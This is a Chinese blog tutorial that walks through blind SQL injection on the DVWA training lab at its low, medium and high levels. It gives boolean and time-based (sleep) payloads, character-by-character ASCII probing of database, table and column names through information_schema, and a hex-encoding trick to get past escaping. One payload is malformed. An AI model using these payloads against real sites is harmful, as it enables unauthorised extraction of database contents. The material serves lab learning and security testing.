DVWA实验-sql盲注

sql盲注:顾名思义,就是盲人注入,没有页面报错信息可以分析了,那么该怎么呢?盲注又有哪些测试的方法呢?

盲注的测试类型:

  1. boolean注入
  2. 时间注入

我们接下来就来介绍如何去测试sql注入盲注,我们还是用dvwa来举例子

Low级别

我们看到low级别同样是输入框,我们输入了正常的1,返回结果为:数据库中存在用户ID。

我们输入恶意字符,同样也返回结果为:数据库中缺少用户ID。

我们输入1'#返回正常

我们可以构造如下语句来判断注入的类型

1' and 1=1 #

返回结果存在

1' and 1=2#

返回结果不存在

由此我们可以判断出该输入框存在盲注,且注入类型为字符型注入

那么接下来我们可以构造sql语句来猜解数据库等

我们首先判断数据库长度,可以构造如下poc,使用length函数来判断字符串长度

1' and length(database())>5 #

返回结果

1' and length(database())>3#

由此我们可以看出当前链接数据库名的长度大于3小于5,长度为4

那么我们继续判断数据库名称的字符组成元素,此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后各个击破。

mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。

用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。

区别:
mysql中的start是从1开始的,而hibernate中的start是从0开始的。

在构造语句比较之前,先查询以下字符的ASCII码的十进制数值作为参考:

字符 ASCII码-10进制   字符 ASCII码-10进制
a 97 ==> z 122
A 65 ==> Z 90
0 48 ==> 9 57
_ 95   @ 64

以上常规可能用到的字符的ASCII码取值范围:[48,122]
当然也可以扩大范围,在ASCII码所有字符的取值范围中筛选:[0,127]

1' and ascii(substr(database(),1,1))>88 # exists

猜解表的个数
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #

猜解第一个表的表名长度

1' and   length( substr( (select count(table_name) from information_schema.tables where table_schema=database())1))>10#

猜解第一个表的表名的第一个字符

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #

我们可以依此类推,将剩下的字符一一爆破

Medium级别

判断是否存在注入,注入的类型
虽然前端界面上只能通过下拉列表选择数字,提交后查询显示的都是"exists",但是抓包工具修改数据重放之后是可以在工具中观察到响应数据有"MISSING"和"exists"两种返回结果的,如下:

由此我们可以判断出该级别存在注入,且注入类型为数字型注入,接下来我们猜解当前连接数据库长度,我们会用到sleep()这个函数以及if判断

对于 if(判断条件,sleep(n),1) 函数而言,若判断条件为真,则执行sleep(n)函数,达到在正常响应时间的基础上再延迟响应时间n秒的效果;若判断条件为假,则返回设置的1(真),此时不会执行sleep(n)函数

我们构造如下语句:

输入 输出(Response Time)
1 and if(length(database())=4,sleep(2),1) # 2031 ms
1 and if(length(database())=5,sleep(2),1) # 26 ms
1 and if(length(database())>10,sleep(2),1) # 30 ms

以上根据响应时间的差异,可知当前连接数据库名称的字符长度=4,此时确实执行了sleep(2)函数,使得响应时间比正常响应延迟2s(2000ms)

输入 输出
1 and if(ascii(substr(database(),1,1))>88,sleep(2),1) # 2049 ms
1 and if(ascii(substr(database(),1,1))>105,sleep(2),1) # 19 ms

可以看到,当前连接数据库名称的第一个字符的ascii码为100,对应字母为d

后续过程与low级别类似,不过遇到了对特殊字符进行转义处理的时候,我们可以转换程16进制的形式绕过限制,从而提交到数据库进行查询.

如:猜解表中的字段名时,猜解字段名的长度(对字段值users进行16进制转换为0x7573657273

Low级别 Medium级别
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # 1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 #
---------------------------------------------------------
1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8,sleep(2),1) #

 

High级别

high级别通过代码分析,我们发现并没有做任何过滤,只是将查询输入页面和结果显示页面分开了,照样可以抓包绕过,并且代码只做了限制显示的结果数,没有做过滤。绕过和暴力破解的方式和low级别类似,对于LIMIT 1的限制输出记录数目,可以利用#注释其限制;服务端可能会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试:

借鉴的优秀文章

DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章